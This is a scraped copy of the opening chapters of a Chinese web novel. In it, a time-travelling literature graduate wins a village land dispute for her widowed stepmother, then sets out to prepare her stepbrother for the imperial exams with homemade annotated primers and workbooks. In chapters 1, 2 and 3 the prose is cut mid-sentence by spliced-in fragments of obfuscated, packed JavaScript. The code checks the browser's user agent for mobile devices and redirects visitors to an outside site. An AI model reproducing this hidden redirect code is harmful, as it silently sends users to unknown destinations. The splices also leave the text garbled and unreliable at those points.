《在科举世界卖教辅》 1. 乡下法庭 六月,正午的日头正是最毒的时候。村东头晒谷场上的柳树枝条软绵绵地拖在地上,似乎也是被毒日头晒得提不起精神。 晒谷场上柳树投下的大片阴影里,花白头发的老人正斜倚在蒲草编织的凉席上打盹儿,身旁三四岁的小孩儿正兴致高昂地用手里的野花吸引蝴蝶。 忽的,有行人路过,小孩儿抬头一看,笑着叫了一声:“村长爷爷。” “哎,虎头。”村长和蔼可亲地朝小孩儿点了点头。 这动静惊醒了打盹儿的老人,一看是村长,连忙爬起来打招呼:“您这是哪儿去?” “去谢先生家。”村长的话音里带着几分惆怅。 待人走了,小孩儿问道:“爷爷,村长爷爷是去谢先生家吃席吗?我也想去。” 听着孙儿天真不谙世事的问话,老人失笑,抬手摸了摸他的头,道:“傻孩子,这话可不兴在人前说。” 乡下吃席有两种意思,要么白事要么红事。谢先生是去年冬天去世的,当时全村人都去吊唁吃席,所以小孙儿记得清楚,以为村长这次也是去吃席。 可实际上,村长这次是去解决麻烦的。 谢先生走后,留下孤儿寡母本就活的艰难,再加上他那续弦王氏是再嫁之身,她先头丈夫走后,留下一个男嗣,婆家匆匆给娘儿俩分了三亩薄田就将人单分出去过活了。 几年前王氏嫁给谢先生做续弦时便是带着那三亩薄田进门的。 如今谢先生走了,前头婆家的两个叔伯本就不满意她同村再嫁,这下看她失了靠山,就动了抢回田产的念头。前几日,趁着月色,前头婆家竟一夜之间偷着抢割了王氏那三亩田里的麦子,运回自家谷场去了。 王氏上门去理论,两个叔伯叫嚣着她是再嫁之人,本就不能再耕种先夫家的田地,任这官司打到天边去,也是他们占理。 两家人已经五天里狠狠闹了三场,今日村长出面,看来是终于要有个结果了。 老人叹了口气,要真失了这三亩薄田,孤儿寡母的可就没有活路喽。 谢家东屋里,谢韫盘腿坐在炕上,正聚精会神的写着什么。虽只穿了素色葛布单衫,临炕的窗户也大开着,但鼻尖上的细汗还是不停的往出冒。 院里突然响起一阵急促的脚步声,紧接着东屋的帘子被掀开,谢霁急步跨进来,气都没喘匀,就道:“姐,村长快到门口了。” 谢韫笔没停,问他,“娘呢?” “娘.....娘还没回来。”少年脸上的着急之色又添了几分。 谢韫心里估摸了下时间,嘱咐他:“快回来了,你出去迎一迎,不管见着谁,都不必多做纠缠,一切按我先头说的办。” 谢霁沉默一瞬,点头走了。 谢韫再写两笔,一则七万字的短篇小说终于结尾。她这才收了笔,拿起纸张轻轻吹了两下,墨迹很快就干了。因着墨水廉价,她又为了节约资源,磨墨时多兑了水,纸上的墨迹便比寻常的更淡些,好在字是能够看清楚的。 等她小心的将炕桌上的一应笔墨纸砚都收进了炕边的杏木箱子里,上了锁,今日的来客终于进门了。 村长和里正几乎是同时进门的,里正由王氏陪着,后面隔几步跟着陶家两兄弟,谢霁远远的缀在最后面。 一行人的脸色都很严肃,不同的是,陶家两兄弟神色间颇有几分盛气凌人,王氏和谢霁母子俩则是愤愤不平里夹杂着几丝忐忑,毕竟待会儿的结果对自家才是至关重要。 谢韫姐弟俩搬了凳子放在阴凉处,又用碎茶沫子泡了茶,一行人分主次坐下,一个现代版的简易法庭便开庭了——里正和村长是判官,王氏是原告,陶家两兄弟是被告,除此之外,外面聚在门口看热闹旁听的,谢韫更希望他们是人民陪审员,待会儿能多给自家上几分同情分。 见里正喝了一口茶,王氏就开口了。说的还是之前已经说过无数遍的控诉,不过这次她按照谢韫教的,重点突出陶家两兄弟——这两个前小叔子、大伯子一声招呼不打,趁夜偷割自家麦子,断自家活路,分明就是早有预谋。 王氏说的含冤负屈、涕泪横流,谢韫适时总结:“不问自取就是盗,里正伯伯,村长伯伯,陶氏兄弟所为已不仅仅是普通的民事纠纷,而是犯罪。我大周律,盗窃者,重则罚五贯,处死刑,轻则杖二十,徒三年。还请二位帮忙上报官府,替我谢家讨回公道。” “你放屁!”陶家兄弟脸色一变,顿时急了,站起来就狠狠地看向谢韫,“你个丫头片子再敢胡说八道,我就让你们这一家子见识见识老子的厉害。” 谢韫冷哼一声,并不惧怕,“大周律,无端谋杀人者,绞,未遂者,徒三年。”她说着,朝上首屈膝一拜,“陶氏兄弟今日威胁杀我全家,请里正和村长作证,若他日我家人发生意外,无论死伤,凶手必然就是陶家兄弟。” “你个小娘们儿......”陶氏兄弟被越激越怒,先前还是言语攻击,这下再也忍不住了,脸上横肉被气的一颤一颤的,挽着袖子就想上去呼巴掌。 里正眼看着场面就要失控,急忙将手里的糙瓷茶杯摔在了地上,大喝一声:“住手!” 陶三郎总算还有些理智在,又对里正畏惧,赶紧拉住失控边缘的陶大郎。见里正满脸怒容,连忙辩白道:“您可要为我们做主啊。我们陶家祖祖辈辈生活在这清水村,那三亩薄田世世代代都是我家耕种的,现在谢家杂碎想要霸占我家田产,我们就是拼上性命,也是不能答应的。” “是啊。”陶大郎也道:“那三亩薄田当初之所以分给王氏,是看在她一个寡妇抚养我二弟遗孤的份上,可如今她不守妇道,同村再嫁,已经成了谢家妇,如何还能霸占着我陶家的田地耕种。” 里正跟村长对视一眼,先是各打五十大板:“你们两家同居一村,老话说的好,远亲不如近邻,有什么事总该和和气气商量着来,何至于闹到见官寻死的地步?” 这话说了等于没说,谢韫听着面皮都没有动一下,陶家两兄弟也是敢怒不敢言。田地可是关乎一家生计的大事,连这事都能和气,那得是多么没有血性的人家。 陶三郎心里将这老家伙骂了千百遍,可面上一丝儿也不敢表现出来,只道:“若今日我们得不到公正的结果,我们兄弟二人明日就告到县衙去。” 这话的意思是,待会儿只要不把田地判给他们就是不公正了?里正眼睛微微眯了一眯,村长的表情也变得严肃起来。 若说刚才的发火有作秀的成分,那这会儿两位判官是真正有所不满了,对陶家的不懂事和不会说话不满。 谢韫敏锐的察觉到了这份不满,可惜的是陶家兄弟一无所觉,说完就一脸期待的看着上首两人。 眼见村长的茶杯见了底,谢韫对谢霁使了个眼色,后者立刻提着茶壶上前重新满上,又因里正的茶杯摔了,他从屋里又拿出一只补上。 里正有了新茶杯,满意的点了点头。问王氏:“陶家兄弟说这三亩田地应当归还他们家,你如何说?” 王氏抹了一把眼泪,强忍着咒骂陶家兄弟的冲动,依旧按照谢韫教的话术陈述:“陶家二郎死后,寒冬腊月的,公婆一家只给了三亩薄田,就匆匆将我们分了出去,好不怜惜阿霁是他们的亲孙子。当时这三亩田是由里正和村长作证订了契的。” 里正和村长听着纷纷点头,不错,当时的田产转让手续就是他们给办的。 王氏接着道:“后来我带着阿霁再嫁到谢家,想将阿霁改姓谢时,也曾同公婆商量过。公婆半点磕巴不打,开口就要两贯钱,说就当是买断了我儿的姓。这是当时双方给钱的字据。”她说着,从袖里掏出一张字据,捧给了里正。 里正接过,和村长头挨头从头看到尾,村长道:“字据上写明,谢家给了钱,陶家拿了钱,两家便是钱货两讫,再无纠葛。上面还有你们两家的画押,陶大郎、陶三郎,这事你们不知道吗?” 陶家兄弟面色一白,一时竟想不到反驳之语。 门外旁听的村民此时却炸了。 “这事我听说过。两贯钱啊,当时陶家敢要,谢家竟然也就一口答应了。” “是啊,谢家还是有些家底在的。” “可不是,谢先生还在时,替人算账写信,怎么也攒下余粮了。” “胡说,谢先生替人写信,十次里有八次是不要钱的,他可是个好人。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784946|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“就是,谢先生是个好人。黑了心的是这陶家,竟然颠倒黑白霸占人家的田产,这是看人家没了男人好欺负呢。” “可我们这些乡邻也不是眼瞎的。” 有人喊道:“里正,村长,我能作证,当时谢家确实给过陶家两贯钱,这田产就是谢家的。” “我也能作证!” “我也是......” 门外的旁听终于不负众望的变成了人民陪审员,给谢家投上了公正的一票。 陶三郎眼看着舆论一边倒,对自家十分不利,急中生智喊道:“给钱是不假,可那买的是三娃子改姓的事,跟田产没有关系。” 谢霁改姓前本姓陶,却没有正经名字,只因在陶家行三,从小就被陶家人“三娃子”喊起来的。 里正听着他这无耻的辩驳,顿时不知道说什么好。 谢韫上前接道:“田契上从头到尾就是我娘的名字,我娘再嫁时,陶家不论亲情,只论钱。” 她直视陶家兄弟问道:“当时要钱的时候为什么不说田产?去年我爹爹去世的时候,为什么也不说田产?再者,你既认为这田是你家的,为何偷割之前不和我家商量,偷割之后我娘在村里四处寻摸盗贼,你家为何不出面说明?分明就是你们想不劳而获,嫌播种劳累,想等我家地里的粮食长成,再仗势白白收割。 ” 谢韫的怒骂和控诉得到了人民陪审员的一致认可,他们对着陶家的无耻嘴脸指指点点,只差进来呸到脸面上。 气氛烘托到这里,差不多就可以收尾了。 谢韫看向村长。村长轻咳一声,场面顿时静了下来。 他道:“谢家的田产归属明确,跟陶家没有关系。陶大郎、陶三郎,你们偷割谢家麦子,被发现后非但不悔改,还企图霸占人家的田产,行为恶劣,我限你明日之前将偷割的粮食还给谢家,否则我就按照村规将你一家逐出清水村。” 村长说完看向里正,里正微微点头,表示对这样的处置无异议。 逐人出村可是大处罚。这个时代,人们聚族而居,一旦被族群抛弃,后果不堪设想。可此时的陶家兄弟已经被气昏了头,无论如何都无法接受这个结果。 他们叫嚣道:“我要去县衙吿官。” 里正冷笑一声:“吿官,好啊,老夫就陪你去吿官,一则你盗窃他人收成,二则你企图霸占他人田产。届时,老夫便将你这些行为明明白白的禀给父母官知晓。” 村长附和道:“我也一同前去。”自古民怕见官,更怕上公堂,可放狠话谁不会? 要说还是陶三郎机灵,听见里正这么说,丝毫不留余地,打了个冷颤,立刻就冷静了下来。 知道这事再无转圜余地,他道:“村长、里正,您大人不记小人过,我们兄弟就是急糊涂了才胡说八道的。十里八村谁不知道你们是最公正的。今天这个结果我们认了,这就回去将粮食还回来。” 里正冷哼一声,“必须按照实际收成还,不能缺斤少两,以陈麦充新麦。还有,由于你们二人胡作非为,给谢家造成了不小的损失,再罚你们赔给谢家十文钱。” “十文?”陶大郎又要炸毛,被陶三郎一把拦下,点头哈腰道:“好,我们掏,这就回去筹借。” 兄弟二人灰败着脸色,猫着腰,在一众村民的指指点点中夹着尾巴跑了。 王氏得到了满意的处理结果,对里正和村长满腔的感激,谢了又谢还不算,还要留他们在家里招待饭食。 里正和村长纷纷表示还有事,饭就不吃了。 只是临出门时,里正停住了脚步,看着谢韫道:“你这个小姑娘不简单!” 村长也是看着她露出笑容。 谢韫福了一礼,道:“今日多亏二位伯伯主持公道,我们一家真是感激不尽。” 王氏也跟着道:“先夫临去时就说二位是最公正的,让我遇到旁人欺凌就请你们做主。” 无论是不是恭维,这话他们都愿意听,里正和村长同时将胸脯一挺,脸上显出自豪神色。 为显大公无私,饭食便更不能用了,两人均道:“不必再谢了,以后好好过日子,在清水村,日后无人再敢欺你们。” 2. 可愿读书 夜深人静,王氏盘腿坐在炕上,将陶家赔偿来的钱数了一遍又一遍。 自从上回请里正和村长主持公道,陶家到底是依言当晚就将偷收谢家的粮食还回来了。他家早打的收割现成庄稼的主意,偷割回去晒了没两天立刻就用石碾脱了粒,所以还粮的时候还的便是颗粒饱满的小麦和已经脱了麦粒的麦秆。 村里人看着陶家壮劳力全部出动还粮,笑他们聪明反被聪明误,白白帮人家干了一场活,谢家今年可是什么都不用做就能吃到新麦了。 然而陶家虽然把脸皮踩在脚底还了粮,但答应赔偿的十文钱却一拖再拖,只说要筹借却不给准话。王氏忍了三天便耐心耗尽,在村里扬言要再找一趟里正和村长,陶家这才怕了,黑着脸将十文钱赔了。 至此,两家的梁子算是结扎实了。 不过王氏并不在意这些,以前没梁子的时候他们娘儿俩也没沾过陶家的光,何况是现在。 出了气又得了钱,王氏只觉得以后的日子全是好奔头。 谢霁在旁边看他娘将几个铜板拨过来拨过去,没完没了,忍不住笑道:“娘,都数了多少遍了,再数也不会多变出一文的。” 王氏被调侃,脸一红,白了他一眼,道:“你懂什么?那陶家就是个铁公鸡,能掏出这些怕已是呕心呕肺,我还不是怕他们糊弄咱。” 谢韫道:“娘,没错,我也数了的,就是十文,一个铜板都不少。” 王氏这才放下心来,闺女读过书,识字算账都难不倒她,有她看过,肯定不会有问题。这才开了炕上的杏木箱子,珍之重之的将所有铜板都放进钱匣子里。 钱匣子五寸见方,上面的雕花红漆已经掉的斑斑驳驳,可见年代久远。匣子是上了锁的,因着里面存的银钱不止有王氏自己攒下的,还有谢韫最近写话本赚的,于是母女俩一人一把钥匙,共同保管。 王氏将钱匣子放回箱子原处。谢霁看着灯芯闪了闪,连忙再添了些灯油,又将油灯往谢韫跟前推了推,劝道:“姐,明日再写吧,这灯实在费眼睛。” 谢韫奋笔疾书的手一顿,微微吐出口气,道:“快写完了。” 王氏放了钱,就坐在一旁做起了针线。谢霁则帮她打扇,随口问道:“早上不是还说要歇到下个月再动笔,又在写什么?” 以往谢韫写完一个话本,总要歇个两三天养养精神的。 谢韫终于把最后几笔收了尾,放下笔才道:“不是话本。我回忆了下本朝的科举流程,趁着记忆还清晰就想记录下来。” “科举?”谢霁听见这两个字,有些惊讶。 王氏也抬头瞅了过来。 本朝科举之风盛行,是以就算在极偏远的地方,百姓也都知道考科举能让人出人头地,但这事儿跟三代文盲的自家似乎没什么关系。 谢霁疑惑道:“为啥要写科举流程?也能卖钱?” 谢韫正色看向他,道:“阿霁,我想供你读书考科举,你可愿意?” 谢霁的耳边就像是炸开了一个大爆竹,炸的他晕头转向,脑袋乱成了浆糊,完全不能理解姐姐话里的意思。 他晕了很长时间,嘴唇也开合了很多次,才终于寻回了自己的声音,“我......我怎么能考科举呢?” 谢霁说着下意识看向王氏。后者也被谢韫这句话炸晕了,到现在还没有回过神来。 谢韫见他如此,道:“我且问你,你可是身有残疾?” “自然没有。” “可是下九流出身?” “自然不是。” “可是罪犯之子?” “也不是!” 谢霁摇头。他的继父虽然很多年前确实是流放之人,可乾祐元年换新皇帝时已被大赦,他娘亲是继父被赦后才嫁与他的,自己自然不能算是罪犯之子。 “那你为何不能读书科举?” 为何不能? 谢霁脱口而出,“我都已经十三了,早就过了读书的年纪,爹爹在时,也从未想过要我读书。” 王氏这时也从震惊中回过神来,说道:“是啊,读书科举那是有钱人才干的事,咱平头百姓,本本分分的活着就行,何必去妄想那些有的没的?” 谢韫不认同的摇了摇头,目光从母子二人身上一一扫过,问道:“咱家能度过这次危机,你们有什么想法没有?阿霁,你先说。” 谢霁不明白话题为何突然从读书科举变成了讨论家里这次危机,但姐姐能转移话题,他心里结结实实的松了一口气,急忙收敛思绪,道:“那陶家实在无耻可恶,幸而里正和村长心里向着咱家,不然这次可真是要被陶家欺负的没有活路了。” 谢韫听了这话,又问王氏,“阿娘认为呢?” 王氏到底比自家儿子多吃过几年的米,说道:“你可知道昨天你姐姐去请村长,送了他家一本《千字文》,我今日去请里正,也从你爹爹留下的书箱里挑了一副画。” 谢霁听的目瞪口呆,“这些......这些我怎么不知道?” 谢韫又问:“若这些事当时我让你去做,你可能成功请来里正和村长?” 谢霁虽然见识不多,但他也知道姐姐送礼的意思,就是用好处换取里正和村长对自家的偏向,可这事让他做......他真的能做的成吗? 还有那天当着里正和村长的面姐姐说的那些话,那些话都是他从未听过,也从未想到过的。陶家霸占了田产,他跟阿娘能想到的,除了哭诉就是上门叫骂。可之前闹了三场没有要回来的地姐姐只说了几句就要回来了。 谢霁越想头垂的越低,他不敢看姐姐,轻声道:“我......我不知道。” 谢韫不再问他,而是说起了自己的看法:“这次的事,确实是因为陶家奸诈。爹爹没了,他们就笃定我们孤儿寡母软弱可欺。田产本就是我们的,陶家颠倒黑白,两家闹了那么多天,里正和村长为什么不站出来替我们主持公道?就连平日关系不错的乡邻也不肯帮我们多说一句?” “原因只有一个,还是因为我们孤儿寡母,无利可图。要是我们这次让陶家得逞,以后就谁都能来踩我们一脚。所以即使拼着性命不要,也不能退半步。” “可不退也有不同的办法。比如我们本就占理,就算不送礼,直接找里正和村长主持公道,多半也能赢。” 谢霁疑惑:“那为何还要......” “自然是为了万无一失。”谢韫看着他,将里面的门道说的细致极了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784947|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“争家产本就是一锤定音的事情,正所谓再而衰,三而竭,我们根本不了解里正和村长与陶家的关系,就算我们证据俱全,可万一陶家也许了他们好处呢?里正和村长就是昧了良心,判决不公,咱们真能一状告到县衙去?” 谢霁和王氏一想到县衙,同时打了个冷颤。 “所以这礼我们必须送,一是要万无一失,二是要永绝后患。只有借着这次的事情,让大家都知道,里正和村长是完全坚定的站在我们这边的,以后陶家之流才不敢再动歪心思。” 寡妇门前是非多,这点王氏深有体会。听着谢韫的话,她抿紧了嘴唇,悄悄用衣襟沾了沾眼角的泪。 “好在事情终于解决了,还是姐姐想的周到。”谢霁松了一口气。 “这次是解决了,可下次呢?”谢韫再次问道,“下次若有比里正和村长地位还高的人看上了咱家的房子和田产,或者哪个地主老爷看上了你我,要强掳去做上门女婿或者小妾,我们该怎么办?” “还有,再过两年你就到了服徭役的年纪了,咱们这里的徭役向来繁重,出去的人多是十死九伤,你若出事,我和阿娘又该怎么办?” 谢霁被问的心乱如麻,一时也想不到好主意,喃喃道:“我好好种地,攒些银钱,倒是可以以钱抵徭役......若再有人敢欺负我们,我......我和他拼命!绝不让人欺负了姐姐和阿娘。” 谢韫道:“阿霁啊,以前我也跟你是一样的想法,以为我们只要勤勤恳恳的劳作,本本分分就能把日子过好。可自从经历了爹爹身死,陶家夺地,我就明白了一个道理,要想掌控自己的命运,就决不能把希望寄托在别人的身上——我们不能寄希望于受欺负时有人能主持公道,而是要让别人再不敢来欺负我们。” “不敢来欺负我们?”谢霁难以相信。 他可以努力变得强壮,让如陶家一般的乡邻不敢来欺。可乡邻之上还有富户,富户之上还有地主老爷,地主老爷之上也还有贵人、官府和衙役,这些生来就站在他们头上的人,如何做到让他们不敢欺负呢? 谢霁瞪大了眼睛,想到姐姐最开始的那句话——读书科举。 “所以姐姐才想让我读书?” 谢韫见他终于明白了自己的用意,嘴角露出一丝笑意,拿起炕桌上的一张纸稿指给他看。 “本朝科举制度,先乡试再会试,最后殿试一局定成败。但乡试之前先要考过童试,只有过了童试才是秀才。成为秀才才算是踏进了特权阶级,见官不跪、免除徭役、免交田赋......” 还能见官不跪、免除徭役? 母子俩同时听入了迷。 谢韫接着道:“不过要过童试也不简单,县试五场、府试三场,院试三场,一样要过五关斩六将。县试和府试考过只能叫童生,多的是人做了一辈子童生,难以踏进秀才的行列。” “阿霁,若是你能考上秀才,咱们也能活的比许多人家风光。可读书是件辛苦事,需要极大的信念与毅力,你今晚好好的想一想,想清楚了明日再来告诉我,你愿不愿意读书。” “阿姐,我知道了。” 谢霁心事重重的回了西屋。 今晚注定是一个无眠之夜。 3. 我愿读书 谢韫同样也睡不着,但又不敢频繁翻身吵到帘子那边的王氏。 王氏并不是她的亲娘。 多年前谢韫随父亲谢安流放到怀阳县配所,开始时开山修路、伐木筑城,吃尽了苦头。后来施工队缺个能写会算的笔吏,谢安因着读过书的优势得了这个差事,父女俩的生活才算有了改善。 再后来就是三年前新皇大赦天下,父女俩才得以恢复自由身,定居清水村。 谢安定居清水村后,很快就娶了同村寡居多年的王大花做续弦,本以为就要苦尽甘来,奈何好日子才过了不到三年,他就油尽灯枯撒手人寰了。失了至亲的谢韫也因没能熬过冬日风寒跟她爹爹前后脚走了。再睁开眼睛,这具身体的芯子已换成了来自现代的自己。 她在现代世界是正儿八经的汉语言文学硕士,穿越前因备战毕业答辩,正没日没夜的跟着导师做科举制度的溯源研究,谁知半夜一头扎进论文里,再清醒时世界都换了一个。 她凭借原主残留的记忆得知,这个朝代国号叫“周”,不存在于现代已知的历史中。 经历了穿越之初的恐慌后,她渐渐适应了原主的生活轨迹。本来穿越前就是个普通人,穿越后也依旧是个普通老百姓,接着本本分分的生活就行了。 至于小说里常见的穿越金手指,大概就是她现代的专业知识了。原主本就识字,她穿越来后两人的记忆似乎进行了某种融合修正。她不用再费力气就能看懂这个世界的文字,于是写几本话本子,赚几个铜板补贴家用也能过的有滋有味。 可她忘了自己穿越的是个封建朝代,这里阶级分明,一样的人被分成了三六九等,上层的士大夫们高高在上,底层的百姓永远难以翻身做自己的主人。 正如她跟谢霁所说,真正给她敲响警钟的是陶家人。她开始意识到,作为最底层,他们头上有很多大山,富户、地主老爷、官府、衙役、高门世家......要想搬开这些大山,真正活的轻松自在,思来想去唯有钱、权二字。 权是科举,钱是生财之道。 自古以来钱权不分家,没有钱做支撑,科举之谈就是虚妄之言,同样的,没有士大夫的身份保驾护航,挣再多的钱财你也保不住。 谢韫又轻轻翻了个身,嫌热得慌,将薄被往旁边推了推。赚钱的事自己能想办法搞定,读书科举之事却非谢霁不能。 帘子那边传来了王氏翻身的动静,紧接着是她刻意压低的声音,“快睡吧。霁儿这孩子我知道,性子虽有些沉闷孤僻,可也是个有志气的,定不会辜负你的期望。” 谢韫蓦得心里一暖,“哎”了一声,闭上了眼睛。 虽然莫名穿越是件倒霉事,可自从来到这里,继母待她如亲女,继弟也是全心维护孺慕,又算不算是不幸中的万幸呢? 次日一早,谢韫哈欠连天的从屋里出来,对面谢霁所住的西屋也在这时打开了门。 十三岁的少年虽略显疲态,眸子却亮的惊人。 他走到谢韫面前站定,立誓般大声道:“姐,我想好了,我要读书,我要考科举!” 谢韫并没有立刻因这意料之中的回答而欣喜,而是面带严肃的问他:“当真想好了?” 少年重重点头:“想好了。” 谢韫道:“历来读书讲究的是天资聪颖,可在我看来,恒心比天赋更重要。阿霁,我知道你有诸般顾虑,可你要记住,吃的苦中苦方为人上人,任何事情,只要你有恒心,能日复一日的坚持下去,总有水滴石穿的一天。” “吃得苦中苦方为人上人......”谢霁喃喃重复着姐姐的这句话,突然,仿佛开悟了一般,灵台一片清明,昨晚那些让他难以入睡的惧怕似乎全都不见了。 “阿姐,我记下了。” “你们姐弟俩还不过来吃早饭?”王氏喊道:“天大的事也等吃了饭再说。” 谢霁激荡的心绪被他娘的喊声拉回了现实。 早在他们站在院中说话的功夫,王氏就已喂完了鸡,又去厨房将早饭端到了院里。 姐弟二人在饭桌前落座,一人一碗小米粥。 王氏吃饭跟她干活一样,雷厉风行,几口下去手里的粥碗就见了底。她放下空碗,对谢霁道:“你们刚才的话娘都听到了,多的娘也不会说,只是有一条,从今往后一定要听你姐姐的教诲,她从小跟着你父亲读书,是真正有学问的人,她肯真心教你,这是你的造化。” “娘,我记下了。”谢霁郑重点头。 谢韫道:“一家人不说两家话,咱们都是为了这个家好。”又道:“既然阿霁已经下定决心要读书,那我就说说以后的安排。” 一听说到正事,母子二人瞬间正襟危坐,目光全都投向她。 谢韫道:“我仔细打听过了,咱们马岭镇总共有两座私塾,一座是兴和庄的赵童生坐馆,每年束脩只要一贯,但教学质量一般,常年也只教些《千字文》《百家姓》之类的开蒙课目。” “另一座则是镇上的李秀才坐馆,每年束脩四贯......”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15784948|174836||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 王氏和谢霁齐齐倒抽一口冷气。 谢韫话不停:“李秀才教学严苛,对四书五经这些科举之书也颇有研究。他教出来的学生,多半会下场应试,就算不下场,也能在县城寻到一份体面的工作,譬如商铺账房、书坊校勘亦或是以抄书为业的佣书人。” 谢霁道:“可一年四贯这也太多了。阿娘得攒多少鸡蛋,我得捡多少柴禾,阿姐你又要写多少话本子。” 谢韫点头:“四贯确实不是个小数目,以咱们家目前的财力确实还读不起。可既然咱们一开始的目标就是要下场应试,李秀才的书塾就是唯一的选择。”赵童生那里,家长送孩子去,多半只是想学些识字算账的本领,并没有大的志向。 “所以,我决定先在家里给你开蒙一年,一年后束脩攒够了,你也有了些许的基础,到时再送你入私塾。” 之所以让谢霁在家提前打基础,除了银钱不凑手,还有两点顾虑。 一则谢韫是怕他贸贸然进去,产生自卑心理。 怀阳县属于下县,与周边其他县城相比,历来文风较弱。可即使这样,但凡是打定注意要读书的,也都是从六七岁就进入私塾开蒙,再不济也是八九岁,像谢霁这样长到十几岁才半路开蒙的,几乎没有。 二则,按这个时代正常的教学进度,一个小童从开蒙到下场应试,少说也得先学上七八年,一本《千字文》就一年打底。按照这个进度,到时候谢霁都二十多了,儿子都要有了,还考什么试? 谢韫决定打破常规,走题海战术的路子,学重点、背考点,竭尽全力压缩他前期打基础的时间。 这样一来,等他进入书塾,再跟着夫子学个一两年,童试的前两场——县试和府试这样主要考查基础知识的考试应当是毫无压力。 谢霁如今姐姐说什么就是什么,但又止不住的担忧,“姐,毕竟是四贯呢,那么多的钱,一年的时间咱家真能攒的出来?” 王氏也忧心忡忡,家里这些进项一只手都数的过来,要攒够四贯,单靠那三亩薄田吗?恐怕不太可能。 相较于他们的担心,谢韫却是颇有些成竹在胸,“挣钱的事我自有法子,不过这法子还需要阿霁帮忙,从今以后你书读的越好我钱就赚的越多。” 谢霁虽然不懂姐姐卖的什么关子,但还是郑重应道:“阿姐放心,我定会好好读书。” 王氏也道:“我也会好好种地喂鸡。” 谢韫莞尔,也接道:“那我就负责好好赚钱,还有教你读书。” 4. 开蒙教材 谢韫和王氏上午结伴进了一趟县城,目的是采购笔墨纸砚。谢霁要开始开蒙,往后最费的就是这些东西。 回来时,两人各背了半背篓的糙纸,王氏背篓里除了糙纸,还多放了两支笔、三条墨和一方砚台。 谢霁帮着他们卸背篓,一看惊讶道:“怎么买了这么多纸?”两三个月都用不完吧? 谢韫解释:“批量买便宜,纸是消耗品,正好今日带的银钱凑手,就多买了些,反正也不怕放坏了,总会用完的。” 要读书,除了笔墨纸砚,还得有书。谢安生前本是攒了几本书籍字画,但后来陆陆续续变卖掉了,唯余的两样前不久也送了人。是以今日除了笔墨纸砚,谢韫交了话本得了稿费,本想买两本启蒙书给谢霁做教材。可此时雕版印刷技术还是主流,书价实在太贵,就连薄薄的一本《千字文》都要七十个铜板。 谢韫果断放弃买书的打算,改成了租。租就便宜多了,一本书日租费一至十文不等。 古人开蒙,“三百千千”是必读书目,但《三字经》《百家姓》和《千字文》这三本,她在现代时就可以倒背如流,如今提笔就能默写出来,自然不用再花银钱。 谢韫于是先租了一本卖价一百五十文的《千家诗》,租回去五天她就可以抄完,所花费用不过十五文。 至于默写其他三本,《百家姓》比较简单,只需记忆即可。其余《三字经》和《千字文》两本,她写时并不止是将原文默出来就行了,而是在原文的基础上,每写四到六句,都要在其后添上注释、大意解析、典故来源及语法结构等。 谢韫研究生时期读的汉语言文学专业是偏古典文献方向的,核心课程正是经学典籍的研读。因此,为典籍标注并不是难事,难的是如何将现代和古代两种读书之法结合起来。 说的简单些,就是在犹豫要不要在开蒙教学中加入拼音。 在现代,拼音是小学语文的必修课程,在整个语文教学中都有着举足轻重的地位,但要引入这个世界,自己要如何解释这个谁都没见过的新奇东西呢? 苦恼了几日,谢韫还是决定加入,将《百家姓》注音后与拼音合编成了一本《识字入门》。 从她决定对一个十三岁的少年“拔苗助长”,让他以最短的时间赶上甚至超越同龄人去考科举后,就已经是不走寻常路了,那么再加入一点打破常规的教学内容又有什么大不了的呢? 谢霁开蒙的第一堂课就是领书。 《识字入门》一本,《三字经解读》一本,《千字文解读上》一本,《课时练》三本,《课后同步练习册》三本。除了书,还有各类本子,拼音本、田字本、听写本,以及同步生字帖。 之所以只发了《千字文解读上》,是因为时间太紧,《识字入门》和《三字经》写完后,为了尽快开课,谢韫便将《千字文》分成了三个部分来编写,“上”写完了就先投入教学,剩下的中和下且写且学。 《千家诗》也是如此,书租回来后她只来得及抄写完原文,注音、注释以及典故解析等均还未来得及标注,不过前面三本学完至少得三个月,这本解读慢慢编写完全来的及。 发完了书本,谢韫道:“这些教材书本各有用处,你且拿着,日后课上每用到一本我再说。” 谢霁摩挲着书本,鼻间还隐隐能闻见墨香,心绪激荡。他珍而重之的将书本整齐叠放到前两日刚打好的书箱里。 谢韫又规定了日后上课的时间。 “你起步晚,要想尽快赶上同龄人的进度,就得做好夏练三伏冬天三九的准备。从今日开始,你每日都要上足七节课,早上四节,下午三节。”这是现代公认最科学的教学强度。 她将两张课程表一张发给谢霁,一张贴在了找来临时充当黑板的木板右上角。 “日后你要严格执行这上面的作息时间——每日卯正起床,辰初开始上课,每节课三刻钟,课间休息一刻钟。下午未正上课,依旧上三刻钟,休息一刻钟。每日课后我都会布置晚间作业,你需按照要求保质保量完成后才能休息。” 